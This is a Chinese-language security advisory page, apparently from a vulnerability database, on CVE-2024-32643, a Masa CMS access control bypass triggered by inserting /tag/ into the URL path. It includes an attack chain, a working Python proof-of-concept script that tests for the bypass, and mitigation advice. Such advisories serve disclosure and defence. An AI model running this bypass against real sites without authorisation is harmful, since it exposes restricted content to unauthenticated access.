IPBUF安全漏洞报告
English
CVE-2024-32643 CVSS 7.5 高危

CVE-2024-32643 Masa CMS 访问控制绕过漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2024-32643
漏洞类型
访问控制绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Masa CMS

相关标签

访问控制绕过Masa CMS权限绕过CVE-2024-32643企业内容管理URL操纵高危漏洞

漏洞概述

CVE-2024-32643是Masa CMS中的一个高危访问控制绕过漏洞。Masa CMS是一个开源的企业内容管理平台。该漏洞存在于7.2.8之前、7.3.13之前和7.4.6之前的版本中。漏洞的根本原因是系统在处理URL时,如果URL被修改包含/tag/声明,CMS会绕过正常的组权限检查机制,直接渲染页面内容。这意味着未经授权的用户可能通过构造特定的URL访问本应受到权限保护的内容或页面。该漏洞不需要任何认证或用户交互即可被利用,攻击者可通过网络远程触发此漏洞。CVSS评分7.5,属于高危级别,对机密性有较高影响,但对完整性和可用性无影响。

技术细节

Masa CMS在处理用户请求时存在访问控制验证缺陷。当用户请求某个页面时,系统会检查该用户所属组是否有权限访问该页面。然而,攻击者可以通过在URL路径中插入/tag/字符串来绕过这一权限检查。具体来说,如果原始请求URL为 /content/pageName,攻击者将其修改为 /tag/content/pageName 或类似的路径,系统将跳过组权限验证直接渲染页面内容。这种绕过方式利用了系统对URL路径解析的逻辑缺陷,使得本应受保护的内容被意外暴露。由于该漏洞无需认证即可利用,攻击者可以远程访问本应受限的敏感页面内容。修复方案已在7.2.8、7.3.13和7.4.6版本中实施,主要通过增强URL解析逻辑和重新实现访问控制检查机制来防止此类绕过。

攻击链分析

STEP 1
步骤1
攻击者识别目标Masa CMS实例,探测其受保护的页面路径
STEP 2
步骤2
攻击者尝试直接访问受保护页面,系统返回访问被拒绝或重定向
STEP 3
步骤3
攻击者构造恶意URL,在路径中插入/tag/字符串,如 /tag/restricted-page
STEP 4
步骤4
系统解析URL时,由于对/tag/路径处理逻辑缺陷,跳过组权限验证
STEP 5
步骤5
系统直接渲染页面内容并返回200状态码,攻击者成功获取本应受限的内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-32643 PoC - Masa CMS Access Control Bypass # This PoC demonstrates bypassing group restrictions using /tag/ path manipulation import requests import sys def test_access_bypass(base_url, protected_page): """ Test if the Masa CMS instance is vulnerable to CVE-2024-32643 """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Original protected page request (should be blocked) normal_url = f"{base_url}/{protected_page}" # Bypassed URL with /tag/ path manipulation bypassed_url = f"{base_url}/tag/{protected_page}" print(f"[*] Testing CVE-2024-32643 - Masa CMS Access Control Bypass") print(f"[*] Normal URL: {normal_url}") print(f"[*] Bypassed URL: {bypassed_url}") try: # Request normal URL normal_response = requests.get(normal_url, headers=headers, timeout=10, allow_redirects=False) print(f"\n[>] Normal Request Status: {normal_response.status_code}") # Request bypassed URL bypassed_response = requests.get(bypassed_url, headers=headers, timeout=10, allow_redirects=False) print(f"[>] Bypassed Request Status: {bypassed_response.status_code}") # Check if bypass was successful if bypassed_response.status_code == 200 and normal_response.status_code != 200: print("\n[!] VULNERABLE: Access control bypass detected!") print("[!] Protected content was accessible via /tag/ path manipulation") return True else: print("\n[+] NOT VULNERABLE: Access control properly enforced") return False except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) > 2: base_url = sys.argv[1] protected_page = sys.argv[2] else: base_url = "http://target-site.com" protected_page = "restricted-page" test_access_bypass(base_url, protected_page)

影响范围

Masa CMS < 7.2.8
Masa CMS < 7.3.13
Masa CMS < 7.4.6

防御指南

临时缓解措施
如果无法立即升级,可考虑在Web应用防火墙(WAF)层面添加规则,检测并阻止包含/tag/路径的异常请求。同时应限制对管理后台和敏感页面的直接访问,实施额外的网络层访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表